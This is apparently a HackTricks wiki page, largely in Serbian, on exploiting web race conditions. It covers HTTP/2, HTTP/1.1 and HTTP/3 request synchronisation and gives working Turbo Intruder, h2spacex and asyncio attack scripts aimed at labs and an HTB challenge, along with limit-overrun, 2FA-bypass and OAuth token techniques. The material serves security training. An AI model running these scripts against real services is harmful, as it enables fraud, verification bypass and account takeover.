Race Condition

Reading time: 17 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

warning

Za duboko razumevanje ove tehnike pogledajte originalni izveštaj na https://portswigger.net/research/smashing-the-state-machine

Poboljšavanje Race Condition napada

Glavna prepreka pri iskorišćavanju race conditions je osigurati da više zahteva bude obrađeno u isto vreme, sa vrlo malom razlikom u njihovim vremenima obrade — idealno manje od 1ms.

Ovde možete naći neke tehnike za sinhronizaciju zahteva:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Omogućava slanje dva zahteva preko jedne TCP konekcije, smanjujući uticaj mrežnog jittera. Međutim, zbog varijacija na serverskoj strani, dva zahteva možda neće biti dovoljna za konzistentan race condition exploit.
  • HTTP/1.1 'Last-Byte Sync': Omogućava prethodno slanje većine delova 20–30 zahteva, zadržavajući mali fragment, koji se potom pošalje zajedno, postižući istovremeni dolazak na server.

Priprema za Last-Byte Sync obuhvata:

  1. Slanje zaglavlja i tela podataka minus poslednjeg bajta bez zatvaranja streama.
  2. Pauza od 100 ms nakon inicijalnog slanja.
  3. Isključivanje TCP_NODELAY da bi se iskoristio Nagle's algorithm za grupisanje finalnih frames.
  4. Pingovanje da se konekcija ugreje.

Naknadno slanje zadržanih frejmova treba rezultirati njihovim dolaskom u jednom paketu, što se može verifikovati preko Wireshark-a. Ova metoda se ne primenjuje na statičke fajlove, koji obično nisu uključeni u RC napade.

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Concept: HTTP/3 radi preko QUIC (UDP). Ne postoji TCP coalescing ili Nagle na koje se možete osloniti, pa klasični last‑byte sync ne funkcioniše sa gotovim klijentima. Umesto toga, morate namerno koalizovati više QUIC stream‑final DATA frames (FIN) u isti UDP datagram tako da server obradi sve ciljne zahteve u istom scheduling tick-u.
  • How to do it: Koristite purpose‑built biblioteku koja izlaže kontrolu QUIC frame-ova. Na primer, H3SpaceX manipuliše quic-go da implementira HTTP/3 last‑frame synchronization za zahteve sa body-jem i GET‑style zahteve bez body-ja.
  • Requests‑with‑body: pošaljite HEADERS + DATA umanjeno za poslednji bajt za N streamova, zatim istovremeno pošaljite poslednji bajt svakog streama.
  • GET‑style: konstruišite lažne DATA frames (ili malo telo sa Content‑Length) i završite sve streamove u jednom datagramu.
  • Praktična ograničenja:
    • Konkurentnost je ograničena transport parameter-om peer-ovog QUIC max_streams (slično HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). Ako je nizak, otvorite više H3 konekcija i raspodelite race između njih.
    • Veličina UDP datagrama i path MTU ograničavaju koliko stream‑final frames možete koalizovati. Biblioteka se brine o deljenju u više datagrama ako je potrebno, ali flush u jednom datagramu je najpouzdaniji.
  • Praksa: Postoje javni H2/H3 race labovi i sample exploits koji prate H3SpaceX.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

Prilagođavanje arhitekturi servera

Razumevanje arhitekture cilja je ključno. Front-end serveri mogu drugačije rutirati zahteve, utičući na tajming. Preemptivno server-side connection warming, kroz nebitne zahteve, može normalizovati tajming zahteva.

Rukovanje zaključavanjem zasnovanim na sesiji

Frameworks poput PHP-ovog session handler-a serijalizuju zahteve po sesiji, što može zamaskirati ranjivosti. Korišćenje različitih session token-a za svaki zahtev može zaobići ovaj problem.

Prevazilaženje ograničenja brzine ili resursa

Ako connection warming nije efikasan, namerno izazivanje kašnjenja usled ograničenja brzine ili resursa web servera putem poplave lažnih zahteva može olakšati single-packet attack tako što će inducirati server-side delay koji pogoduje race conditions.

Primeri napada

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Zahtev možete poslati u Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), u zahtevu možete promeniti vrednost koju želite brute-force-ovati za %s kao u csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s i zatim izabrati examples/race-single-packer-attack.py iz padajućeg menija:

Ako nameravate da pošaljete različite vrednosti, možete izmeniti kod ovako koji koristi wordlist iz clipboard-a:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Ako web ne podržava HTTP2 (samo HTTP1.1) koristite Engine.THREADED ili Engine.BURP umesto Engine.BURP2.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Ako treba da pošaljete zahtev na 1 endpoint, a zatim više zahteva ka drugim endpointima da biste pokrenuli RCE, možete izmeniti skriptu race-single-packet-attack.py na sledeći način:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Takođe je dostupno u Repeater preko nove opcije 'Send group in parallel' u Burp Suite.
  • Za limit-overrun možete jednostavno dodati isti zahtev 50 puta u grupu.
  • Za connection warming, možete dodati na početku grupe neke zahteve ka dinamičkom delu web servera.
  • Za delaying procesa između obrade jednog zahteva i drugog u dva podstanja, možete dodati dodatne zahteve između ta dva zahteva.
  • Za multi-endpoint RC možete početi slanjem zahteva koji ide ka skrivenom stanju i onda odmah nakon njega poslati 50 zahteva koji iskorišćavaju skriveno stanje.
  • Automated python script: Cilj ovog skripta je da promeni email korisnika dok ga kontinuirano verifikuje sve dok verifikacioni token novog emaila ne stigne na poslednji email (to je zato što je u kodu primećen RC gde je bilo moguće izmeniti email, ali je verifikacija poslata na stari, zato što je promenljiva koja pokazuje email već bila popunjena prvom adresom).
    Kada se reč "objetivo" nađe u primljenim emailovima, znamo da smo dobili verifikacioni token promenjenog emaila i završavamo napad.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: engine and gating notes

  • Engine selection: use Engine.BURP2 on HTTP/2 targets to trigger the single‑packet attack; fall back to Engine.THREADED or Engine.BURP for HTTP/1.1 last‑byte sync.
  • gate/openGate: queue many copies with gate='race1' (or per‑attempt gates), which withholds the tail of each request; openGate('race1') flushes all tails together so they arrive nearly simultaneously.
  • Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
  • Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable TCP_NODELAY to encourage batching of the final frames.

Improving Single Packet Attack

In the original research it's explained that this attack has a limit of 1,500 bytes. However, in this post, it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the 65,535 B window limitation of TCP by using IP layer fragmentation (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.

Note that although this improvement makes the attack more reliable in RC that requires hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict SETTINGS_MAX_CONCURRENT_STREAMS setting to 100, 128 and 250. However, others like NodeJS and nghttp2 have it unlimited.
This basically means that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). For HTTP/3, the analogous limit is QUIC’s max_streams transport parameter – if it’s small, spread your race across multiple QUIC connections.

You can find some examples using this technique in the repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.

  • Repeater: Check the examples from the previous section.
  • Intruder: Send the request to Intruder, set the number of threads to 30 inside the Options menu and, select as payload Null payloads and generate 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

Ovo je najosnovniji tip race condition-a gde vulnerabilities koje se pojavljuju postoje na mestima koja ograničavaju broj puta koji možete izvršiti neku akciju. Na primer, korišćenje istog koda za popust u web prodavnici više puta. Veoma jednostavan primer može se naći u this report ili u this bug.

Postoji mnogo varijacija ovakvog tipa napada, uključujući:

  • Iskorišćavanje poklon-kartice više puta
  • Ocenjivanje proizvoda više puta
  • Podizanje ili prebacivanje novca preko stanja na računu
  • Ponovna upotreba istog CAPTCHA rešenja
  • Zaobilaženje anti-brute-force rate limita

Hidden substates

Eksploatisanje složenih race condition-ova često podrazumeva iskorišćavanje kratkotrajnih prilika za interakciju sa skrivenim ili neplaniranim mašinskim podstanjima. Evo kako pristupiti tome:

  1. Identifikujte potencijalna skrivena podstanja
  • Počnite tako što ćete locirati endpoint-e koji menjaju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi resetovanja lozinke. Fokusirajte se na:
  • Storage: Preferirajte endpoint-e koji manipulišu server-side perzistentnim podacima umesto onih koji obrađuju podatke na klijentu.
  • Action: Potražite operacije koje menjaju postojeće podatke, jer su one verovatnije da stvore uslove koji se mogu eksploatisati u poređenju sa operacijama koje dodaju nove podatke.
  • Keying: Uspešni napadi obično uključuju operacije vezane za isti identifikator, npr. korisničko ime ili reset token.
  1. Izvršite početno ispitivanje
  • Testirajte identifikovane endpoint-e race condition napadima, posmatrajući bilo kakva odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazivati na vulnerability.
  1. Demonstrirajte the Vulnerability
  • Suzite napad na minimalan broj zahteva potrebnih za eksploatisanje the vulnerability, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog tajminga koji je potreban.

Time Sensitive Attacks

Preciznost u tajmingu zahteva može otkriti vulnerabilities, posebno kada se za sigurnosne tokene koriste predvidljivi mehanizmi kao što su timestamp-i. Na primer, generisanje token-a za reset lozinke zasnovano na timestamp-u može omogućiti identične tokene za istovremene zahteve.

To Exploit:

  • Koristite precizan tajming, kao single packet attack, da pošaljete simultane password reset zahteve. Identični token-i ukazuju na vulnerability.

Example:

  • Zatražite dva token-a za reset lozinke u isto vreme i uporedite ih. Poklapajući token-i sugerišu propust u generisanju token-a.

Proverite PortSwigger Lab da isprobate ovo.

Studije slučaja skrivenih podstanja

Pay & add an Item

Pogledajte ovaj PortSwigger Lab da vidite kako da platite u prodavnici i dodate dodatni artikal koji nećete morati da platite.

Confirm other emails

Ideja je da verifikujete email adresu i istovremeno je promenite u drugu kako biste saznali da li platforma verifikuje novu adresu.

Prema this research Gitlab je bio ranjiv na takeover na ovaj način jer bi mogao da pošalje email verification token jedne adrese na drugu adresu.

Proverite PortSwigger Lab da isprobate ovo.

Hidden Database states / Confirmation Bypass

Ako se koriste 2 različita upisa za dodavanje informacija u database, postoji kratak period vremena tokom kojeg je samo prvi podatak upisan u database. Na primer, prilikom kreiranja korisnika korisničko ime i lozinka mogu biti upisani, a zatim token za potvrdu novokreiranog naloga bude upisan. To znači da tokom kratkog vremena token za potvrdu naloga je null.

Stoga bi registering an account and sending several requests with an empty token (token= or token[]= or any other variation) za potvrdu naloga odmah moglo omogućiti da confirm an account na kojem ne kontrolišete email.

Proverite PortSwigger Lab da isprobate ovo.

Bypass 2FA

Sledeći pseudo-kod je ranjiv na race condition zato što u vrlo kratkom periodu 2FA nije primenjen dok se sesija kreira:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 trajna perzistencija

There are several OAUth providers. Ove usluge omogućavaju kreiranje aplikacije i autentifikaciju korisnika koje je provider registrovao. Da bi se to ostvarilo, client će morati dozvoliti vašoj aplikaciji pristup nekim njihovim podacima unutar OAUth provider.
Dakle, do ovde je to običan login preko google/linkedin/github... gde vam se prikaže stranica koja kaže: "Aplikacija želi pristupiti vašim informacijama, da li želite da to dozvolite?"

Race Condition in authorization_code

Problem se pojavljuje kada ga prihvatite i OAUth provider automatski pošalje authorization_code malicioznoj aplikaciji. Zatim ova aplikacija zloupotrebljava Race Condition u OAUth service provider-u da generiše više od jednog AT/RT (Authentication Token/Refresh Token) iz authorization_code za vaš nalog. U suštini, zloupotrebiće činjenicu da ste dozvolili aplikaciji pristup vašim podacima da kreira više naloga. Ako potom ukinete dozvolu aplikaciji za pristup podacima, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti važeći.

Race Condition in Refresh Token

Kada dobijete validan RT možete pokušati da ga zloupotrebite da generišete više AT/RT, i čak i ako korisnik opozove dozvole malicioznoj aplikaciji za pristup svojim podacima, neki RT-ovi će i dalje biti važeći.

RC in WebSockets

  • In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
  • With Burp’s WebSocket Turbo Intruder you can use the THREADED engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune config() (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See RaceConditionExample.py.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks